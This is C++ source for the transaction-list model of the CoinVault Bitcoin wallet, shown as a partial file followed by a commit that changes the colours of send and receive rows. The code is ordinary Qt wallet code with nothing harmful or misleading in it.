CoinDB::SynchedVault* synchedVault)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    if (!synchedVault->isConnected()) {\n        throw std::runtime_error(tr(\"Must be connected to network to send.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type == CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction must be fully signed before sending.\").toStdString());\n    }\n    else if (type == CoinDB::Tx::PROPAGATED) {\n        throw std::runtime_error(tr(\"Transaction already sent.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::shared_ptr<CoinDB::Tx> tx = vault->getTx(txhash);\n    Coin::Transaction coin_tx = tx->toCoinCore();\n    synchedVault->sendTx(coin_tx);\n\n    \/\/ TODO: Check transaction has propagated before changing status to PROPAGATED\n\/\/    tx->updateStatus(CoinDB::Tx::PROPAGATED);\n\/\/    vault->insertTx(tx);\n\n\/\/    update();\n    \/\/networkSync->getTx(txhash);\n}\n\nstd::shared_ptr<Tx> TxModel::getTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    return vault->getTx(txhash);\n}\n\nvoid TxModel::deleteTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    vault->deleteTx(txhash);\n    update();\n\n    emit txDeleted();\n}\n\nQVariant TxModel::data(const QModelIndex& index, int role) const\n{\n    \/\/ Right-align numeric fields\n    if (role == Qt::TextAlignmentRole && index.column() >= 3 && index.column() <= 6)\n    {\n        return Qt::AlignRight;\n    }\n    else if (role == Qt::BackgroundRole)\n    {\n        QStandardItem* typeItem = item(index.row(), 2);\n        int txtype = typeItem->data(Qt::UserRole).toInt();\n        switch (txtype)\n        {\n        case SEND:      return QBrush(QColor(255, 200, 200));\n        case RECEIVE:   return QBrush(QColor(200, 255, 200));\n        } \n    }\n \n    return QStandardItemModel::data(index, role);\n}\n\nbool TxModel::setData(const QModelIndex& index, const QVariant& value, int role)\n{\n    if (role == Qt::EditRole) {\n        if (index.column() == 1) {\n            \/\/ Keychain name edited.\n            if (!vault) return false;\n \n            try {\n                \/\/ Get account role (sender\/receiver)\n                QStandardItem* typeItem = item(index.row(), 2);\n                int txtype = typeItem->data(Qt::UserRole).toInt();                \n                if (txtype != SEND && txtype != RECEIVE) return false;\n\n                \/\/ Get outpoint information\n                QStandardItem* txHashItem = item(index.row(), 8);\n                uchar_vector txhash;\n                txhash.setHex(txHashItem->text().toStdString());\n                uint32_t txindex = (uint32_t)txHashItem->data(Qt::UserRole).toInt();\n\n                if (txtype == SEND)\n                {\n                    vault->setSendingLabel(txhash, txindex, value.toString().toStdString());\n                }\n                else\n                {\n                    vault->setReceivingLabel(txhash, txindex, value.toString().toStdString());\n                }\n\n                setItem(index.row(), index.column(), new QStandardItem(value.toString()));\n                return true;\n            }\n            catch (const std::exception& e) {\n                emit error(QString::fromStdString(e.what()));\n            }\n        }\n        return false;\n    }\n \n    return true;\n}\n\nQt::ItemFlags TxModel::flags(const QModelIndex& index) const\n{\n    if (index.column() == 1) {\n        return Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsEditable;\n    }\n \n    return Qt::ItemIsSelectable | Qt::ItemIsEnabled;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CoinVault\n\/\/\n\/\/ txmodel.cpp\n\/\/\n\/\/ Copyright (c) 2014 Eric Lombrozo\n\/\/\n\/\/ All Rights Reserved.\n\n#include \"txmodel.h\"\n\n#include <CoinDB\/SynchedVault.h>\n\n#include <CoinQ\/CoinQ_script.h>\n\n#include <stdutils\/stringutils.h>\n\n#include <QStandardItemModel>\n#include <QDateTime>\n#include <QMessageBox>\n\n#include \"settings.h\"\n#include \"coinparams.h\"\n\n#include \"severitylogger.h\"\n\nusing namespace CoinDB;\nusing namespace CoinQ::Script;\nusing namespace std;\n\nTxModel::TxModel(QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n}\n\nTxModel::TxModel(CoinDB::Vault* vault, const QString& accountName, QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n    setVault(vault);\n    setAccount(accountName);\n}\n\nvoid TxModel::setColumns()\n{\n    QStringList columns;\n    columns\n        << tr(\"Time\")\n        << tr(\"Description\")\n        << tr(\"Type\")\n        << (tr(\"Amount\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Fee\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Balance\") + \" (\" + getCurrencySymbol() + \")\")\n        << tr(\"Confirmations\")\n        << tr(\"Address\")\n        << tr(\"Transaction Hash\");\n    setHorizontalHeaderLabels(columns);\n}\n\nvoid TxModel::setVault(CoinDB::Vault* vault)\n{\n    this->vault = vault;\n    accountName.clear();\n}\n\nvoid TxModel::setAccount(const QString& accountName)\n{\n    if (!vault) {\n        throw std::runtime_error(\"Vault is not open.\");\n    }\n\n    if (!vault->accountExists(accountName.toStdString())) {\n        throw std::runtime_error(\"Account not found.\");\n    }\n\n    this->accountName = accountName;\n    update();\n}\n\nvoid TxModel::update()\n{\n    QString newCurrencySymbol = getCurrencySymbol();\n    if (newCurrencySymbol != currencySymbol)\n    {\n        currencySymbol = newCurrencySymbol;\n        setColumns();\n    }\n\n    removeRows(0, rowCount());\n\n    if (!vault || accountName.isEmpty()) return;\n\n    std::shared_ptr<BlockHeader> bestHeader = vault->getBestBlockHeader();\n\n    std::vector<TxOutView> txoutviews = vault->getTxOutViews(accountName.toStdString(), \"\", TxOut::ROLE_BOTH, TxOut::BOTH, Tx::ALL, true);\n    bytes_t last_txhash;\n    typedef std::pair<unsigned long, uint32_t> sorting_info_t;\n    typedef std::pair<QList<QStandardItem*>, int64_t> value_row_t; \/\/ used to associate output values with rows for computing balance\n    typedef std::pair<sorting_info_t, value_row_t> sortable_row_t;\n    QList<sortable_row_t> rows;\n    for (auto& item: txoutviews) {\n        QList<QStandardItem*> row;\n\n        QDateTime utc;\n        utc.setTime_t(item.tx_timestamp);\n        QString time = utc.toLocalTime().toString();\n\n        QString description = QString::fromStdString(item.role_label());\n        if (description.isEmpty()) description = \"Not available\";\n\n        \/\/ The type stuff is just to test the new db schema. It's all wrong, we're not going to use TxOutViews for this.\n        TxType txType;\n        QString type;\n        QString amount;\n        QString fee;\n        int64_t value = 0;\n        bytes_t this_txhash = item.tx_status == Tx::UNSIGNED ? item.tx_unsigned_hash : item.tx_hash;\n        switch (item.role_flags) {\n        case TxOut::ROLE_NONE:\n            txType = NONE;\n            type = tr(\"None\");\n            break;\n\n        case TxOut::ROLE_SENDER:\n            txType = SEND;\n            type = tr(\"Send\");\n            amount = \"-\";\n            value -= item.value;\n            if (item.tx_has_all_outpoints && item.tx_fee() > 0) {\n                if (this_txhash != last_txhash) {\n                    fee = \"-\";\n                    \/\/fee += QString::number(item.tx_fee()\/(1.0 * currency_divisor), 'g', 8);\n                    fee += getFormattedCurrencyAmount(item.tx_fee());\n                    value -= item.tx_fee();\n                    last_txhash = this_txhash;\n                }\n                else {\n                    fee = \"||\";\n                }\n            }\n            break;\n\n        case TxOut::ROLE_RECEIVER:\n            txType = RECEIVE;\n            type = tr(\"Receive\");\n            amount = \"+\";\n            value += item.value;\n            break;\n\n        default:\n            txType = UNKNOWN;\n            type = tr(\"Unknown\");\n        }\n\n        \/\/amount += QString::number(item.value\/(1.0 * currency_divisor), 'g', 8);\n        amount += getFormattedCurrencyAmount(item.value);\n\n        uint32_t nConfirmations = 0;\n        QString confirmations;\n        if (item.tx_status >= Tx::PROPAGATED) {\n            if (bestHeader && item.height) {\n                nConfirmations = bestHeader->height() + 1 - item.height;\n                confirmations = QString::number(nConfirmations);\n            }\n            else {\n                confirmations = \"0\";\n            }\n        }\n        else if (item.tx_status == Tx::UNSIGNED) {\n            confirmations = tr(\"Unsigned\");\n        }\n        else if (item.tx_status == Tx::UNSENT) {\n            confirmations = tr(\"Unsent\");\n        }\n        QStandardItem* confirmationsItem = new QStandardItem(confirmations);\n        confirmationsItem->setData(item.tx_status, Qt::UserRole);\n\n        QString address = QString::fromStdString(getAddressForTxOutScript(item.script, base58_versions));\n        QString hash = QString::fromStdString(uchar_vector(this_txhash).getHex());\n\n        row.append(new QStandardItem(time));\n        row.append(new QStandardItem(description));\n\n        QStandardItem* typeItem = new QStandardItem(type);\n        typeItem->setData(txType, Qt::UserRole);\n        row.append(typeItem);\n\n        row.append(new QStandardItem(amount));\n        row.append(new QStandardItem(fee));\n        row.append(new QStandardItem(\"\")); \/\/ placeholder for balance, once sorted\n        row.append(confirmationsItem);\n        row.append(new QStandardItem(address));\n\n        \/\/ Store the tx hash and tx index to uniquely identify the output.\n        QStandardItem* hashItem = new QStandardItem(hash);\n        hashItem->setData(item.tx_index, Qt::UserRole);\n        row.append(hashItem);\n\n        rows.append(std::make_pair(std::make_pair(item.tx_id, nConfirmations), std::make_pair(row, value)));\n    }\n\n    qSort(rows.begin(), rows.end(), [](const sortable_row_t& a, const sortable_row_t& b) {\n        sorting_info_t a_info = a.first;\n        sorting_info_t b_info = b.first;\n\n        \/\/ if confirmation counts are equal\n        if (a_info.second == b_info.second) {\n            \/\/ if one value is positive and the other is negative, sort so that running balance remains positive\n            if (a.second.second < 0 && b.second.second > 0) return true;\n            if (a.second.second > 0 && b.second.second < 0) return false;\n\n            \/\/ otherwise sort by descending index\n            return (a_info.first > b_info.first);\n        }\n\n        \/\/ otherwise sort by ascending confirmation count\n        return (a_info.second < b_info.second);\n    });\n\n    \/\/ iterate in reverse order to compute running balance\n    int64_t balance = 0;\n    for (int i = rows.size() - 1; i >= 0; i--) {\n        balance += rows[i].second.second;\n        \/\/(rows[i].second.first)[5]->setText(QString::number(balance\/(1.0 * currency_divisor), 'g', 8));\n        (rows[i].second.first)[5]->setText(getFormattedCurrencyAmount(balance));\n    }\n\n    \/\/ iterate in forward order to display\n    for (auto& row: rows) appendRow(row.second.first);\n}\n\nbytes_t TxModel::getTxHash(int row) const\n{\n    LOGGER(trace) << \"TxModel::getTxHash(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n    return txhash;\n}\n\nvoid TxModel::signTx(int row)\n{\n    LOGGER(trace) << \"TxModel::signTx(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type != CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction is already signed.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::vector<std::string> keychainNames;\n    std::shared_ptr<Tx> tx = vault->signTx(txhash, keychainNames, true);\n    if (!tx) throw std::runtime_error(tr(\"No new signatures were added.\").toStdString());\n\n    LOGGER(trace) << \"TxModel::signTx - signature(s) added. raw tx: \" << uchar_vector(tx->raw()).getHex() << std::endl;\n    update();\n\n    QString msg;\n    if (keychainNames.empty())\n    {\n        msg = tr(\"No new signatures were added.\");\n    }\n    else\n    {\n        msg = tr(\"Signatures added using keychain(s) \") + QString::fromStdString(stdutils::delimited_list(keychainNames, \", \")) + tr(\".\");\n    }\n    emit txSigned(msg);\n}\n\nvoid TxModel::sendTx(int row, CoinDB::SynchedVault* synchedVault)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    if (!synchedVault->isConnected()) {\n        throw std::runtime_error(tr(\"Must be connected to network to send.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type == CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction must be fully signed before sending.\").toStdString());\n    }\n    else if (type == CoinDB::Tx::PROPAGATED) {\n        throw std::runtime_error(tr(\"Transaction already sent.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::shared_ptr<CoinDB::Tx> tx = vault->getTx(txhash);\n    Coin::Transaction coin_tx = tx->toCoinCore();\n    synchedVault->sendTx(coin_tx);\n\n    \/\/ TODO: Check transaction has propagated before changing status to PROPAGATED\n\/\/    tx->updateStatus(CoinDB::Tx::PROPAGATED);\n\/\/    vault->insertTx(tx);\n\n\/\/    update();\n    \/\/networkSync->getTx(txhash);\n}\n\nstd::shared_ptr<Tx> TxModel::getTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    return vault->getTx(txhash);\n}\n\nvoid TxModel::deleteTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    vault->deleteTx(txhash);\n    update();\n\n    emit txDeleted();\n}\n\nQVariant TxModel::data(const QModelIndex& index, int role) const\n{\n    \/\/ Right-align numeric fields\n    if (role == Qt::TextAlignmentRole && index.column() >= 3 && index.column() <= 6) {\n        return Qt::AlignRight;\n    }\n    else {\n        return QStandardItemModel::data(index, role);\n    }\n}\n\nbool TxModel::setData(const QModelIndex& index, const QVariant& value, int role)\n{\n    if (role == Qt::EditRole) {\n        if (index.column() == 1) {\n            \/\/ Keychain name edited.\n            if (!vault) return false;\n \n            try {\n                \/\/ Get account role (sender\/receiver)\n                QStandardItem* typeItem = item(index.row(), 2);\n                int txtype = typeItem->data(Qt::UserRole).toInt();                \n                if (txtype != SEND && txtype != RECEIVE) return false;\n\n                \/\/ Get outpoint information\n                QStandardItem* txHashItem = item(index.row(), 8);\n                uchar_vector txhash;\n                txhash.setHex(txHashItem->text().toStdString());\n                uint32_t txindex = (uint32_t)txHashItem->data(Qt::UserRole).toInt();\n\n                if (txtype == SEND)\n                {\n                    vault->setSendingLabel(txhash, txindex, value.toString().toStdString());\n                }\n                else\n                {\n                    vault->setReceivingLabel(txhash, txindex, value.toString().toStdString());\n                }\n\n                setItem(index.row(), index.column(), new QStandardItem(value.toString()));\n                return true;\n            }\n            catch (const std::exception& e) {\n                emit error(QString::fromStdString(e.what()));\n            }\n        }\n        return false;\n    }\n \n    return true;\n}\n\nQt::ItemFlags TxModel::flags(const QModelIndex& index) const\n{\n    if (index.column() == 1) {\n        return Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsEditable;\n    }\n \n    return Qt::ItemIsSelectable | Qt::ItemIsEnabled;\n}\n\n<commit_msg>Color rows in TxModel.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CoinVault\n\/\/\n\/\/ txmodel.cpp\n\/\/\n\/\/ Copyright (c) 2014 Eric Lombrozo\n\/\/\n\/\/ All Rights Reserved.\n\n#include \"txmodel.h\"\n\n#include <CoinDB\/SynchedVault.h>\n\n#include <CoinQ\/CoinQ_script.h>\n\n#include <stdutils\/stringutils.h>\n\n#include <QStandardItemModel>\n#include <QDateTime>\n#include <QMessageBox>\n\n#include \"settings.h\"\n#include \"coinparams.h\"\n\n#include \"severitylogger.h\"\n\nusing namespace CoinDB;\nusing namespace CoinQ::Script;\nusing namespace std;\n\nTxModel::TxModel(QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n}\n\nTxModel::TxModel(CoinDB::Vault* vault, const QString& accountName, QObject* parent)\n    : QStandardItemModel(parent)\n{\n    base58_versions[0] = getCoinParams().pay_to_pubkey_hash_version();\n    base58_versions[1] = getCoinParams().pay_to_script_hash_version();\n\n    currencySymbol = getCurrencySymbol();\n\n    setColumns();\n    setVault(vault);\n    setAccount(accountName);\n}\n\nvoid TxModel::setColumns()\n{\n    QStringList columns;\n    columns\n        << tr(\"Time\")\n        << tr(\"Description\")\n        << tr(\"Type\")\n        << (tr(\"Amount\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Fee\") + \" (\" + getCurrencySymbol() + \")\")\n        << (tr(\"Balance\") + \" (\" + getCurrencySymbol() + \")\")\n        << tr(\"Confirmations\")\n        << tr(\"Address\")\n        << tr(\"Transaction Hash\");\n    setHorizontalHeaderLabels(columns);\n}\n\nvoid TxModel::setVault(CoinDB::Vault* vault)\n{\n    this->vault = vault;\n    accountName.clear();\n}\n\nvoid TxModel::setAccount(const QString& accountName)\n{\n    if (!vault) {\n        throw std::runtime_error(\"Vault is not open.\");\n    }\n\n    if (!vault->accountExists(accountName.toStdString())) {\n        throw std::runtime_error(\"Account not found.\");\n    }\n\n    this->accountName = accountName;\n    update();\n}\n\nvoid TxModel::update()\n{\n    QString newCurrencySymbol = getCurrencySymbol();\n    if (newCurrencySymbol != currencySymbol)\n    {\n        currencySymbol = newCurrencySymbol;\n        setColumns();\n    }\n\n    removeRows(0, rowCount());\n\n    if (!vault || accountName.isEmpty()) return;\n\n    std::shared_ptr<BlockHeader> bestHeader = vault->getBestBlockHeader();\n\n    std::vector<TxOutView> txoutviews = vault->getTxOutViews(accountName.toStdString(), \"\", TxOut::ROLE_BOTH, TxOut::BOTH, Tx::ALL, true);\n    bytes_t last_txhash;\n    typedef std::pair<unsigned long, uint32_t> sorting_info_t;\n    typedef std::pair<QList<QStandardItem*>, int64_t> value_row_t; \/\/ used to associate output values with rows for computing balance\n    typedef std::pair<sorting_info_t, value_row_t> sortable_row_t;\n    QList<sortable_row_t> rows;\n    for (auto& item: txoutviews) {\n        QList<QStandardItem*> row;\n\n        QDateTime utc;\n        utc.setTime_t(item.tx_timestamp);\n        QString time = utc.toLocalTime().toString();\n\n        QString description = QString::fromStdString(item.role_label());\n        if (description.isEmpty()) description = \"Not available\";\n\n        \/\/ The type stuff is just to test the new db schema. It's all wrong, we're not going to use TxOutViews for this.\n        TxType txType;\n        QString type;\n        QString amount;\n        QString fee;\n        int64_t value = 0;\n        bytes_t this_txhash = item.tx_status == Tx::UNSIGNED ? item.tx_unsigned_hash : item.tx_hash;\n        switch (item.role_flags) {\n        case TxOut::ROLE_NONE:\n            txType = NONE;\n            type = tr(\"None\");\n            break;\n\n        case TxOut::ROLE_SENDER:\n            txType = SEND;\n            type = tr(\"Send\");\n            amount = \"-\";\n            value -= item.value;\n            if (item.tx_has_all_outpoints && item.tx_fee() > 0) {\n                if (this_txhash != last_txhash) {\n                    fee = \"-\";\n                    \/\/fee += QString::number(item.tx_fee()\/(1.0 * currency_divisor), 'g', 8);\n                    fee += getFormattedCurrencyAmount(item.tx_fee());\n                    value -= item.tx_fee();\n                    last_txhash = this_txhash;\n                }\n                else {\n                    fee = \"||\";\n                }\n            }\n            break;\n\n        case TxOut::ROLE_RECEIVER:\n            txType = RECEIVE;\n            type = tr(\"Receive\");\n            amount = \"+\";\n            value += item.value;\n            break;\n\n        default:\n            txType = UNKNOWN;\n            type = tr(\"Unknown\");\n        }\n\n        \/\/amount += QString::number(item.value\/(1.0 * currency_divisor), 'g', 8);\n        amount += getFormattedCurrencyAmount(item.value);\n\n        uint32_t nConfirmations = 0;\n        QString confirmations;\n        if (item.tx_status >= Tx::PROPAGATED) {\n            if (bestHeader && item.height) {\n                nConfirmations = bestHeader->height() + 1 - item.height;\n                confirmations = QString::number(nConfirmations);\n            }\n            else {\n                confirmations = \"0\";\n            }\n        }\n        else if (item.tx_status == Tx::UNSIGNED) {\n            confirmations = tr(\"Unsigned\");\n        }\n        else if (item.tx_status == Tx::UNSENT) {\n            confirmations = tr(\"Unsent\");\n        }\n        QStandardItem* confirmationsItem = new QStandardItem(confirmations);\n        confirmationsItem->setData(item.tx_status, Qt::UserRole);\n\n        QString address = QString::fromStdString(getAddressForTxOutScript(item.script, base58_versions));\n        QString hash = QString::fromStdString(uchar_vector(this_txhash).getHex());\n\n        row.append(new QStandardItem(time));\n        row.append(new QStandardItem(description));\n\n        QStandardItem* typeItem = new QStandardItem(type);\n        typeItem->setData(txType, Qt::UserRole);\n        row.append(typeItem);\n\n        row.append(new QStandardItem(amount));\n        row.append(new QStandardItem(fee));\n        row.append(new QStandardItem(\"\")); \/\/ placeholder for balance, once sorted\n        row.append(confirmationsItem);\n        row.append(new QStandardItem(address));\n\n        \/\/ Store the tx hash and tx index to uniquely identify the output.\n        QStandardItem* hashItem = new QStandardItem(hash);\n        hashItem->setData(item.tx_index, Qt::UserRole);\n        row.append(hashItem);\n\n        rows.append(std::make_pair(std::make_pair(item.tx_id, nConfirmations), std::make_pair(row, value)));\n    }\n\n    qSort(rows.begin(), rows.end(), [](const sortable_row_t& a, const sortable_row_t& b) {\n        sorting_info_t a_info = a.first;\n        sorting_info_t b_info = b.first;\n\n        \/\/ if confirmation counts are equal\n        if (a_info.second == b_info.second) {\n            \/\/ if one value is positive and the other is negative, sort so that running balance remains positive\n            if (a.second.second < 0 && b.second.second > 0) return true;\n            if (a.second.second > 0 && b.second.second < 0) return false;\n\n            \/\/ otherwise sort by descending index\n            return (a_info.first > b_info.first);\n        }\n\n        \/\/ otherwise sort by ascending confirmation count\n        return (a_info.second < b_info.second);\n    });\n\n    \/\/ iterate in reverse order to compute running balance\n    int64_t balance = 0;\n    for (int i = rows.size() - 1; i >= 0; i--) {\n        balance += rows[i].second.second;\n        \/\/(rows[i].second.first)[5]->setText(QString::number(balance\/(1.0 * currency_divisor), 'g', 8));\n        (rows[i].second.first)[5]->setText(getFormattedCurrencyAmount(balance));\n    }\n\n    \/\/ iterate in forward order to display\n    for (auto& row: rows) appendRow(row.second.first);\n}\n\nbytes_t TxModel::getTxHash(int row) const\n{\n    LOGGER(trace) << \"TxModel::getTxHash(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n    return txhash;\n}\n\nvoid TxModel::signTx(int row)\n{\n    LOGGER(trace) << \"TxModel::signTx(\" << row << \")\" << std::endl;\n\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type != CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction is already signed.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::vector<std::string> keychainNames;\n    std::shared_ptr<Tx> tx = vault->signTx(txhash, keychainNames, true);\n    if (!tx) throw std::runtime_error(tr(\"No new signatures were added.\").toStdString());\n\n    LOGGER(trace) << \"TxModel::signTx - signature(s) added. raw tx: \" << uchar_vector(tx->raw()).getHex() << std::endl;\n    update();\n\n    QString msg;\n    if (keychainNames.empty())\n    {\n        msg = tr(\"No new signatures were added.\");\n    }\n    else\n    {\n        msg = tr(\"Signatures added using keychain(s) \") + QString::fromStdString(stdutils::delimited_list(keychainNames, \", \")) + tr(\".\");\n    }\n    emit txSigned(msg);\n}\n\nvoid TxModel::sendTx(int row, CoinDB::SynchedVault* synchedVault)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    if (!synchedVault->isConnected()) {\n        throw std::runtime_error(tr(\"Must be connected to network to send.\").toStdString());\n    }\n\n    QStandardItem* typeItem = item(row, 6);\n    int type = typeItem->data(Qt::UserRole).toInt();\n    if (type == CoinDB::Tx::UNSIGNED) {\n        throw std::runtime_error(tr(\"Transaction must be fully signed before sending.\").toStdString());\n    }\n    else if (type == CoinDB::Tx::PROPAGATED) {\n        throw std::runtime_error(tr(\"Transaction already sent.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    std::shared_ptr<CoinDB::Tx> tx = vault->getTx(txhash);\n    Coin::Transaction coin_tx = tx->toCoinCore();\n    synchedVault->sendTx(coin_tx);\n\n    \/\/ TODO: Check transaction has propagated before changing status to PROPAGATED\n\/\/    tx->updateStatus(CoinDB::Tx::PROPAGATED);\n\/\/    vault->insertTx(tx);\n\n\/\/    update();\n    \/\/networkSync->getTx(txhash);\n}\n\nstd::shared_ptr<Tx> TxModel::getTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    return vault->getTx(txhash);\n}\n\nvoid TxModel::deleteTx(int row)\n{\n    if (row == -1 || row >= rowCount()) {\n        throw std::runtime_error(tr(\"Invalid row.\").toStdString());\n    }\n\n    QStandardItem* txHashItem = item(row, 8);\n    uchar_vector txhash;\n    txhash.setHex(txHashItem->text().toStdString());\n\n    vault->deleteTx(txhash);\n    update();\n\n    emit txDeleted();\n}\n\nQVariant TxModel::data(const QModelIndex& index, int role) const\n{\n    \/\/ Right-align numeric fields\n    if (role == Qt::TextAlignmentRole && index.column() >= 3 && index.column() <= 6)\n    {\n        return Qt::AlignRight;\n    }\n    else if (role == Qt::BackgroundRole)\n    {\n        QStandardItem* typeItem = item(index.row(), 2);\n        int txtype = typeItem->data(Qt::UserRole).toInt();\n        switch (txtype)\n        {\n        case SEND:      return QBrush(QColor(255, 175, 175));\n        case RECEIVE:   return QBrush(QColor(175, 255, 175));\n        } \n    }\n \n    return QStandardItemModel::data(index, role);\n}\n\nbool TxModel::setData(const QModelIndex& index, const QVariant& value, int role)\n{\n    if (role == Qt::EditRole) {\n        if (index.column() == 1) {\n            \/\/ Keychain name edited.\n            if (!vault) return false;\n \n            try {\n                \/\/ Get account role (sender\/receiver)\n                QStandardItem* typeItem = item(index.row(), 2);\n                int txtype = typeItem->data(Qt::UserRole).toInt();                \n                if (txtype != SEND && txtype != RECEIVE) return false;\n\n                \/\/ Get outpoint information\n                QStandardItem* txHashItem = item(index.row(), 8);\n                uchar_vector txhash;\n                txhash.setHex(txHashItem->text().toStdString());\n                uint32_t txindex = (uint32_t)txHashItem->data(Qt::UserRole).toInt();\n\n                if (txtype == SEND)\n                {\n                    vault->setSendingLabel(txhash, txindex, value.toString().toStdString());\n                }\n                else\n                {\n                    vault->setReceivingLabel(txhash, txindex, value.toString().toStdString());\n                }\n\n                setItem(index.row(), index.column(), new QStandardItem(value.toString()));\n                return true;\n            }\n            catch (const std::exception& e) {\n                emit error(QString::fromStdString(e.what()));\n            }\n        }\n        return false;\n    }\n \n    return true;\n}\n\nQt::ItemFlags TxModel::flags(const QModelIndex& index) const\n{\n    if (index.column() == 1) {\n        return Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsEditable;\n    }\n \n    return Qt::ItemIsSelectable | Qt::ItemIsEnabled;\n}\n\n<|endoftext|>"}
